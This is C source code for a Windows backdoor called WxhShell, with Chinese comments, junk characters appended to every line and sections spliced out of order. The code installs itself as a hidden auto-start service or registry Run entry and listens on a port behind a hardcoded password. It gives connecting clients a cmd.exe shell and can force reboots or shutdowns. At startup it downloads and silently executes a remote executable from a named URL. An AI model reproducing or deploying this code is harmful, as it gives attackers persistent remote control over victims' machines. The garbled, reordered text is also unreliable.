    else { I,3!uogn  
    closesocket(wsh); @&B!P3{f  
    ExitThread(0); ~l6Y<-!  
    } 9v2 ;  
    break; -;-"i J0  
    } B '/ >Ax&  
  // 获取shell 0.0!5D[  
  case 's': { 1hS~!r'qqv  
    CmdShell(wsh); x@}Fn:c!5  
    closesocket(wsh); <~+  
    ExitThread(0); N+75wtLy&  
    break; &/?jMyD@  
  } !l^AKn|  
  // 退出 ~m U_ `o  
  case 'x': { kR(=VM JU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O3Mv"Py%  
    CloseIt(wsh); nHrCSfK  
    break; ~]M"  
    } :L0W"$  
  // 离开 -=IM8Dny  
  case 'q': { )&<ExJQ&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1z:N$O _v  
    closesocket(wsh); )c !S@Hs  
    WSACleanup(); GA}^Rh`T-  
    exit(1); Uroj%xN  
    break; aB'@8[]z  
        } (=/;rJ`q  
  } b{Ss+F  
  } 2GzpWV(  
AMz=HN  
  // 提示信息 W9'jzP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uJ[Vv4N%9  
} xrnH= >.;m  
  } Y1\vt+`O  
0&@ pX~h:  
  return; V+z)B+  
} AoeW<}MO  
&N0|tn  
// shell模块句柄 v2sU$M  
int CmdShell(SOCKET sock) a6P.Zf7  
{ R?s\0  
STARTUPINFO si; Bdepvc}[#  
ZeroMemory(&si,sizeof(si)); Y_sVe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] '/]j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yRkMR$5&  
PROCESS_INFORMATION ProcessInfo; QGy=JHb  
char cmdline[]="cmd"; tvRy8u;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UV.9 KcN.  
  return 0; 5 ZPUY  
} x~eEaD5m%J  
$uhDBmb  
// 自身启动模式 1+($"$ZC&B  
int StartFromService(void) Beg5[4@  
{ *rT(dp!Y  
typedef struct gw T,D.'Ut  
{ V0i$"|F+ E  
  DWORD ExitStatus; wP"|$HN  
  DWORD PebBaseAddress; F\bI6gj  
  DWORD AffinityMask; w}q"y+=Z:  
  DWORD BasePriority; =:eE!  
  ULONG UniqueProcessId; z?[DW*  
  ULONG InheritedFromUniqueProcessId; k)Wz b  
}   PROCESS_BASIC_INFORMATION; F DX+  
O]eJQ4XN<  
PROCNTQSIP NtQueryInformationProcess; Mk?I}  
uD5yw #`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wP?q5r5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |0p'p$%  
cyg>h X{U  
  HANDLE             hProcess; k5(yf~!c  
  PROCESS_BASIC_INFORMATION pbi; n^#LB*q  
eCD,[At/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HC,@tfS  
  if(NULL == hInst ) return 0; f@L{*Upj+  
b%j:-^0V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BwD1}1jp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^/vWK\-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sb.SpF>   
=lQ[%&  
  if (!NtQueryInformationProcess) return 0; 5AU3s  
bz]O(`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oW6<7>1M7  
  if(!hProcess) return 0; !H\GHA'DO]  
.+h pxZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qpf]3  
kH -b!  
  CloseHandle(hProcess); x`i`]6q  
S\gP=.G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *wcoDQ b;  
if(hProcess==NULL) return 0; 4+,Z'J%\[7  
T]-~?;Jh8  
HMODULE hMod; [)vwg`]   
char procName[255]; Cq;d2u0)o$  
unsigned long cbNeeded; J?fh3RW9  
l}c2l'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x~tQYK   
% 6.jh#C  
  CloseHandle(hProcess); U-<"i6mg ?  
!5!$h` g  
if(strstr(procName,"services")) return 1; // 以服务启动 rxeXz<  
[d>yo_iB  
  return 0; // 注册表启动 ~')t1Ay s  
} \zL7 j 4  
(`? snMc  
// 主模块 vK`h;  
int StartWxhshell(LPSTR lpCmdLine) ,8nZzVo  
{ n ]}2O 4j  
  SOCKET wsl; ?<^AXLiKV  
BOOL val=TRUE; ?I#hrv@  
  int port=0;  WPKTX,k  
  struct sockaddr_in door; @6'E8NFl  
#2ASzCe  
  if(wscfg.ws_autoins) Install(); ^|(4j_.(e  
<W') ~o}  
port=atoi(lpCmdLine); % ul{nL:  
z}&C(m:al  
if(port<=0) port=wscfg.ws_port; BM~niW;k  
^T6!z^g1h  
  WSADATA data; FD+PD:cQn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; chzR4"WZFt  
D-:<]D:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0.+eF }'H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5THS5'  
  door.sin_family = AF_INET; B/kn&^z$|~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q*TKs#3  
  door.sin_port = htons(port); Ab<Ok\e5  
[j U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lILtxVBO2o  
closesocket(wsl); F>(#Af9  
return 1; BG0M j2  
} v/.h%6n?  
u;qMo`-  
  if(listen(wsl,2) == INVALID_SOCKET) { ~(OIo7#;  
closesocket(wsl); |hQ|'VCN  
return 1; Sb4PCt  
} \OT)KVwO  
  Wxhshell(wsl); ^6y4!='ci  
  WSACleanup(); B&k T#  
G2{M#H  
return 0; RTBBb:eX  
;Jn0e:x`E  
} -7z y  
sxwW9_C  
// 以NT服务方式启动 pQ(eF0KG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "`*a)'.'^c  
{ yXo0z_ G  
DWORD   status = 0; q,JA~GG  
  DWORD   specificError = 0xfffffff; C;:L~)C@t  
6cT~irP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i)PV{3v$J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EZumJ."  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;=\5$J9  
  serviceStatus.dwWin32ExitCode     = 0; VSpt&19  
  serviceStatus.dwServiceSpecificExitCode = 0; 05VOUa*pb  
  serviceStatus.dwCheckPoint       = 0; BI.k On=  
  serviceStatus.dwWaitHint       = 0; D6)Cjc>a  
'S4EKV]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  |iUfM3  
  if (hServiceStatusHandle==0) return; n!eqzr{  
[aZ v?Z  
status = GetLastError(); & Yf#O*  
  if (status!=NO_ERROR) bZay/ Zkj  
{ Hu(flc+z"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  QXxLe*  
    serviceStatus.dwCheckPoint       = 0; jvc?hUcLKT  
    serviceStatus.dwWaitHint       = 0; '}pgUh_  
    serviceStatus.dwWin32ExitCode     = status; ' raB  
    serviceStatus.dwServiceSpecificExitCode = specificError; rjAkpAT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kbp( a+5  
    return; ={E!8"  
  } 6SBvn%  
p@7i=hyt`p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *(&ClUQQ  
  serviceStatus.dwCheckPoint       = 0; .4C[D{4  
  serviceStatus.dwWaitHint       = 0; x1V2|~;p|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !Xx<~l IC  
} hp]ng!I{\u  
+fP/|A8P  
// 处理NT服务事件,比如:启动、停止 'W?v.W &  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JQ/t, v$G  
{ [[0bhmG)  
switch(fdwControl) Q^MXiE O+  
{ -Mi}yi  
case SERVICE_CONTROL_STOP: Op/79 ]$  
  serviceStatus.dwWin32ExitCode = 0; j #I:6yA3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5hH6G  
  serviceStatus.dwCheckPoint   = 0; AXh3LA  
  serviceStatus.dwWaitHint     = 0; L740s[,`o#  
  { 60aKT:KLC_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,8=`*  
  } yw* mA1v  
  return; &<w[4z\  
case SERVICE_CONTROL_PAUSE: JXLWRe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k BiBXRt  
  break; l'7Mw%6{  
case SERVICE_CONTROL_CONTINUE: *L;pcg8{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q%n{*py  
  break; +r-dr>&H@  
case SERVICE_CONTROL_INTERROGATE: Rg?{?qK\K  
  break; S\3AW,c]w  
}; Dz8:; $/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [UJEU~XC  
} TXJY2J*24  
c.8((h/  
// 标准应用程序主函数 "0'*q<8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \>Ga-gv6/  
{ 5@UC c  
uh5Pn#da^  
// 获取操作系统版本 K(Q]&&<  
OsIsNt=GetOsVer(); 4P4 Fo1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zc%foK{  
P!FEh'.  
  // 从命令行安装 kBy rhK5U  
  if(strpbrk(lpCmdLine,"iI")) Install(); #6N+5Yx_[  
AvrL9D  
  // 下载执行文件 'wz\tT^  
if(wscfg.ws_downexe) { o=-Vt,2{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b\?7?g  
  WinExec(wscfg.ws_filenam,SW_HIDE); ljYpMv.>xG  
} J+71FP`ZH  
-3G 4vRIo  
if(!OsIsNt) { 97(Xu=tX  
// 如果时win9x,隐藏进程并且设置为注册表启动 hg?j)jl|  
HideProc(); XVrm3aj(m  
StartWxhshell(lpCmdLine); so!w!O@@  
} 1tc]rC4h  
else h6\3vfj^f  
  if(StartFromService()) <'}b*wUB  
  // 以服务方式启动 vv2vW=\  
  StartServiceCtrlDispatcher(DispatchTable); W,HH *!  
else kqKj7L  
  // 普通方式启动 lh\ICN\O  
  StartWxhshell(lpCmdLine); G`]v_`>  
x)ddRq l  
return 0; |*tWF! D6`  
} la\zaKC;>  
xS;|j j9  
OU,PO2xX9  
29Gwv  
=========================================== ~!]&>n;=G  
CxbSj,  
Uvjdx(fY[a  
\~@[QGKN  
*xE"8pN/  
c=A(o  
" 9Fy\t{ks  
""1#bs{n  
#include <stdio.h> bBUbw*DF)  
#include <string.h> lAdDu  
#include <windows.h> 1B)Y;hg6&  
#include <winsock2.h> 7P<r`,~k-  
#include <winsvc.h> bQ-Gp;]  
#include <urlmon.h> E`Jp(gK9F  
&W=V%t>Z  
#pragma comment (lib, "Ws2_32.lib") <w0NPrS]  
#pragma comment (lib, "urlmon.lib") -{X<*P4p  
ixIV=#  
#define MAX_USER   100 // 最大客户端连接数 0jxO |N2)  
#define BUF_SOCK   200 // sock buffer lx\qp`w  
#define KEY_BUFF   255 // 输入 buffer 0U82f1ei  
}P<Qz^sr_  
#define REBOOT     0   // 重启 1~}m.ER  
#define SHUTDOWN   1   // 关机 yZYK wKG  
Ps U9R#HL1  
#define DEF_PORT   5000 // 监听端口 R K"&l!o  
<y@,3DD3A9  
#define REG_LEN     16   // 注册表键长度 p91`<>Iw  
#define SVC_LEN     80   // NT服务名长度 |@ikx{W  
V bg10pV0  
// 从dll定义API q} ]'Q -  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -DTB6}kw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /> ^@ O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yim{U:F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J=I:T2bV&s  
WnD^F>  
// wxhshell配置信息 @S`$C  
struct WSCFG { m7$8k@r  
  int ws_port;         // 监听端口 A2m_q>> !  
  char ws_passstr[REG_LEN]; // 口令 u~s Sk  
  int ws_autoins;       // 安装标记, 1=yes 0=no iO!27y  
  char ws_regname[REG_LEN]; // 注册表键名 tIq>Oojdx  
  char ws_svcname[REG_LEN]; // 服务名 *)limqe3"$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?h/xAl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e8$l0gzaD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 drW~)6Lr@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kf<c, 3A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :w@F?:C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 81~Kpx  
A0G)imsW:_  
};  t?gJNOV  
a%Uw;6|{  
// default Wxhshell configuration 41u*w2j  
struct WSCFG wscfg={DEF_PORT, 1hl]W+9  
    "xuhuanlingzhe", B\\6#  
    1, Lp_$?MCD.  
    "Wxhshell", `/z_rqJ0CL  
    "Wxhshell", /-h6`@[  
            "WxhShell Service", z5x _fAT(  
    "Wrsky Windows CmdShell Service", >A-<ZS*N  
    "Please Input Your Password: ", b9!.-^<8y  
  1, <3d;1o   
  "http://www.wrsky.com/wxhshell.exe", z"tjDP  
  "Wxhshell.exe" )FRM_$t  
    }; rJ'/\Hh5P  
wZ#Rlv,3Wa  
// 消息定义模块 ~A6"sb=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {J (R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KkEv#2n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J^ `hbP+2  
char *msg_ws_ext="\n\rExit."; 8O>}k  
char *msg_ws_end="\n\rQuit."; !<&m]K  
char *msg_ws_boot="\n\rReboot..."; *n8%F9F  
char *msg_ws_poff="\n\rShutdown..."; 7W"/ N#G  
char *msg_ws_down="\n\rSave to "; x<)G( Xe*  
 >1A*MP4  
char *msg_ws_err="\n\rErr!"; OA[&Za#w  
char *msg_ws_ok="\n\rOK!"; f\fdg].!  
|'tW=  
char ExeFile[MAX_PATH]; @5WgqB  
int nUser = 0; r!7Y'|  
HANDLE handles[MAX_USER]; 3{KR {B#L  
int OsIsNt; ] /+D^6  
%?bcT[|3  
SERVICE_STATUS       serviceStatus; u_PuqRcs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0n.S,3|  
P.djd$#  
// 函数声明  9:5:`' b  
int Install(void); " Ya9~6  
int Uninstall(void); X APYpBgm  
int DownloadFile(char *sURL, SOCKET wsh); RPVT*`o  
int Boot(int flag); Wqra8u#  
void HideProc(void); qos`!=g?  
int GetOsVer(void); 1~J5uB4  
int Wxhshell(SOCKET wsl); K%MW6y  
void TalkWithClient(void *cs); cq*=|m0}Z  
int CmdShell(SOCKET sock); nU(DYHc+l  
int StartFromService(void); 2edBQYWd  
int StartWxhshell(LPSTR lpCmdLine); M`vyTuO3SO  
dt_e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r [s!F=^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p~2UUm V  
nBN&.+3t  
// 数据结构和表定义 @wp4 |G  
SERVICE_TABLE_ENTRY DispatchTable[] = [|[>}z:  
{ q]\X~ 9#  
{wscfg.ws_svcname, NTServiceMain}, JS2nXs1  
{NULL, NULL} ,m^;&&  
}; a8$kNtA  
e*C6uz9N  
// 自我安装 1DE@N1l  
int Install(void) ,Ol (piR  
{ MAqLIf<G  
  char svExeFile[MAX_PATH];  QV qK  
  HKEY key; '7*=`q{  
  strcpy(svExeFile,ExeFile); aQ#qRkI  
w%dL 8k  
// 如果是win9x系统,修改注册表设为自启动 PmR*}Aw  
if(!OsIsNt) { Ri#H.T<'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B@O@1?c[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); at6149B\)  
  RegCloseKey(key); ]"F5;p; y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /qU>5;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1zftrX~v!X  
  RegCloseKey(key); N j4IQ<OV  
  return 0; ,Q/Ac{C  
    } W2Luz;(U  
  } PWB(5 f?  
} @ {#mpDX  
else { cCY/gEv  
rR,2UZR  
// 如果是NT以上系统,安装为系统服务 8i}< k$S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GX&b;N  
if (schSCManager!=0) j>Ag\@2ME  
{ la <npX  
  SC_HANDLE schService = CreateService ceT&Y{T  
  ( d2S~)/@S  
  schSCManager, VR5fqf|*  
  wscfg.ws_svcname, (*\jbK  
  wscfg.ws_svcdisp, X"q!Y#)  
  SERVICE_ALL_ACCESS, k~3.MU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , in-C/m#  
  SERVICE_AUTO_START, Q;u SWt<{  
  SERVICE_ERROR_NORMAL, U__(; /1;  
  svExeFile, ,xI%A, (,;  
  NULL, 'b/ <x|  
  NULL, 7@}$|u:JUF  
  NULL, 8K9$,Ii  
  NULL, gNpJ24QK  
  NULL ;WU<CKYG*  
  ); >dzsQ^Nj  
  if (schService!=0) E7zm{BX]  
  { Bi3+)k>u7  
  CloseServiceHandle(schService); ,#]t$mzbQ(  
  CloseServiceHandle(schSCManager); x3p ND  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aqU' T  
  strcat(svExeFile,wscfg.ws_svcname); i/So6jW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &~e$:8 +  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 27F~(!n  
  RegCloseKey(key); Yw; D:Y(  
  return 0; 5 BtX63  
    } _-~`03 `!  
  } S8, Z;y  
  CloseServiceHandle(schSCManager); sJ z@7.  
} wJ<Oo@snm  
} h*B|fy4K9U  
l8h&|RY[  
return 1; sZ<9A Xk-E  
} CjIu[S1%  
]rN5Ao}2  
// 自我卸载 . lgPFr6X  
int Uninstall(void) *i{Y9f8  
{ f.B>&%JRZ  
  HKEY key; 'R<&d}@P*#  
1xE]6he4{T  
if(!OsIsNt) { Gfp1mev   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `qVjwJ!+  
  RegDeleteValue(key,wscfg.ws_regname); @4$\ 5 %j  
  RegCloseKey(key); %ir:AS k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Va VN  
  RegDeleteValue(key,wscfg.ws_regname); in`aGFQO  
  RegCloseKey(key); &sXRN &Fp  
  return 0; G~7 i@Zs  
  } J[~5U~F  
} <"D=6jqZ  
} P^`duZ{T  
else { z+a%5J  
!2UOC P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3bZIYF2@  
if (schSCManager!=0) ORXm&z)  
{ !HeSOzN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^u}L;`L  
  if (schService!=0)  7R#+Le)  
  { _p-t<ytnh  
  if(DeleteService(schService)!=0) { vsWHk7 9  
  CloseServiceHandle(schService); E37<"(;  
  CloseServiceHandle(schSCManager); @+F4YJmB?l  
  return 0; S [h];eM  
  } %ek'~  
  CloseServiceHandle(schService); Eodn/  
  } sVk$x:k1M  
  CloseServiceHandle(schSCManager); 54-#QIx|  
} $;M:TpX  
} dz [!-M  
r0d35  
return 1; m'\2:mDu0  
} <<](XgR(  
mkh"Kb*{  
// 从指定url下载文件 Ch$*Gm19Z  
int DownloadFile(char *sURL, SOCKET wsh) jcNT<}k C  
{ 'bld,Do6  
  HRESULT hr; *KY=\ %D  
char seps[]= "/"; hQ6a~?f  
char *token; .h&k jD  
char *file; ;$Y4xM`=m  
char myURL[MAX_PATH]; 9Y>8=#.c  
char myFILE[MAX_PATH]; kF;D BN  
HHX-1+L  
strcpy(myURL,sURL); r:&` $8$  
  token=strtok(myURL,seps); 8d*/HF)h  
  while(token!=NULL) fFj grK8  
  { 1&;QyTN  
    file=token; P0H6 mn*  
  token=strtok(NULL,seps); wn_b[tdxq  
  } x8\A<(G_M=  
PHA-9\jC{  
GetCurrentDirectory(MAX_PATH,myFILE); o9xlu.QL{c  
strcat(myFILE, "\\"); w.,Q1\*rPp  
strcat(myFILE, file); Le<w R  
  send(wsh,myFILE,strlen(myFILE),0); :1t~[-h^  
send(wsh,"...",3,0); 3d<HN6&U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L-B<nl  
  if(hr==S_OK) M?&h~V1OI~  
return 0; %sHF-n5P  
else E9?ph D  
return 1; qd8n2f  
?bM_q_5  
} <E\$3Ym9  
H$G0`LP0/a  
// 系统电源模块 Mu'8;9_6  
int Boot(int flag) pdJ/&ufh  
{ iyj+:t/  
  HANDLE hToken; ?4H i-  
  TOKEN_PRIVILEGES tkp; it]E-^2>  
MlLb|!,)T  
  if(OsIsNt) { |FD}e)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5_XV%-wM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U=hlu  
    tkp.PrivilegeCount = 1; >.dWjb6t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E0 `Lg c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dlhdsj:  
if(flag==REBOOT) { K'K2X-E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6[OzU2nB  
  return 0; 3~nnCR[R  
} F u&EhGm6  
else { L\y;LSTU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6c^e\0q  
  return 0; /axIIfx-  
} ui(^k $  
  } s'kDk2r  
  else { %Y!Yvw^&P(  
if(flag==REBOOT) { /dv<qp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vjjSKP6B  
  return 0; yHxosxd<*  
} M33_ja+L  
else { /-bO!RTwf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aW!@f[%~F  
  return 0; #j *d^j&  
} (@iMLuewK  
} ^"J8r W6[  
?nP*\8  
return 1; (' -JY  
} ;FZ@:%qDm  
Sm~l:v0%  
// win9x进程隐藏模块 *N{emwIq  
void HideProc(void) H\XP\4#u  
{ x3PD1JUf  
YZ%Hu)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J>u 7,  
  if ( hKernel != NULL ) {uGP&cS~(  
  { 6oF7:lt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s}N#n(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * S=\l@EW  
    FreeLibrary(hKernel); &3yD_P_3  
  } %/9 EORdeH  
v@e~k-#  
return; gUeuUj  
} Ug&,Y/tFw2  
SJIOI@\b  
// 获取操作系统版本 L[=a/|)TBV  
int GetOsVer(void) rk)##)  
{ Q>n|^y6  
  OSVERSIONINFO winfo; MNSbtT*^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |=&cQRY!p  
  GetVersionEx(&winfo); >3c@x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cI=(\pC  
  return 1; bf9a 1<\  
  else r2k2%nI-J  
  return 0; e^ v.)  
} jg?x&'u\)  
ar:+;.n  
// 客户端句柄模块 byv[yGa`  
int Wxhshell(SOCKET wsl) !"eIV@7  
{ WJ_IuX51'  
  SOCKET wsh; ( H6c{'&  
  struct sockaddr_in client; vap,y $C  
  DWORD myID; `X3^fg  
I_A@BnM{I  
  while(nUser<MAX_USER) N5 $c]E  
{ =+AS/Jq  
  int nSize=sizeof(client); Vb9',a?#n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .nyfYa+  
  if(wsh==INVALID_SOCKET) return 1; 1&e} ms  
h[PYP5{L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }fKSqB]T-  
if(handles[nUser]==0)  =|9H  
  closesocket(wsh); 9'r:~ O  
else R9B&dvG  
  nUser++; +"1NC\<*  
  } {l |E:>Q2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sqW* pi  
23h% < ,  
  return 0; 7U"[Gf  
} ",!1m7[wF  
4fe7U=#;Y  
// 关闭 socket Fy.\7CL>  
void CloseIt(SOCKET wsh) 9~l hsH  
{ yrR1[aT  
closesocket(wsh); HeG)/W?r  
nUser--; KCWc`Oz  
ExitThread(0); IKi5 v~bE  
} B9wPU1  
8cA~R-  
// 客户端请求句柄 X=> =5'  
void TalkWithClient(void *cs) {RF-sqce  
{ &B|D;|7H  
zD<or&6  
  SOCKET wsh=(SOCKET)cs; )HvnoUO0  
  char pwd[SVC_LEN]; d'Zqaaf k%  
  char cmd[KEY_BUFF]; ;INW`b~  
char chr[1]; AZmb!}m+d  
int i,j; 435;Vns\n  
9ksE>[7  
  while (nUser < MAX_USER) { ]niJG t  
+=:#wzK@  
if(wscfg.ws_passstr) { Z.M,NR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lv]hTH 4T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Op_RzZP`  
  //ZeroMemory(pwd,KEY_BUFF); ^.>jG I%rB  
      i=0; (7r<''  
  while(i<SVC_LEN) { &-mX ,   
IV)<5'v  
  // 设置超时 L =8rH5  
  fd_set FdRead; g>J<%z, }2  
  struct timeval TimeOut; -e8}Pm "  
  FD_ZERO(&FdRead); Hbpqyl%O>  
  FD_SET(wsh,&FdRead); q=#} yEG  
  TimeOut.tv_sec=8; RoyPrO [3  
  TimeOut.tv_usec=0; &SrO)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CjiVnWSz<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d$ ^ ,bL2p  
gmm|A9+tv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zSFDUZ]A3  
  pwd=chr[0]; kSDZZx  
  if(chr[0]==0xd || chr[0]==0xa) { ]Oif|k`{  
  pwd=0; \.3D~2cU  
  break; tQylT0'[+o  
  } 0q'w8]m  
  i++; L>YU,I\o  
    } PpgP&;z4  
lhkwWbB  
  // 如果是非法用户,关闭 socket YiPoYlD*n<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m o:D9  
} Uy$)%dYfq5  
p1|f<SF')  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o9H^?Rut  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qcN'e.A  
IEzaK  
while(1) { AU$Uxwz4  
_~T!9  
  ZeroMemory(cmd,KEY_BUFF); 'CN|'W)g7  
*;fw%PW  
      // 自动支持客户端 telnet标准   =|YxDas  
  j=0; ;]pJj6J&v  
  while(j<KEY_BUFF) { D`VM6/iQR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ph-ATJ"  
  cmd[j]=chr[0]; PZ*pQ=`  
  if(chr[0]==0xa || chr[0]==0xd) { %Jrt4sg[j-  
  cmd[j]=0; uxzze~_+C  
  break; L*~J%7  
  } 19j+lCSvH  
  j++; dx+hhg\L  
    } /, !B2  
Y k5 }`d!:  
  // 下载文件 48*Do}l]  
  if(strstr(cmd,"http://")) { 4A2?Uhp y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YE9,KVV;$n  
  if(DownloadFile(cmd,wsh)) dtc IC0:[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Ce2r"U1e  
  else 4'LB7}WG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mD/MJt5  
  } yn/rW$  
  else { 4-[J@  
I:d[Q s  
    switch(cmd[0]) { :=[XW?L%x  
  n8D xB@DI  
  // 帮助 KFFSv{m[  
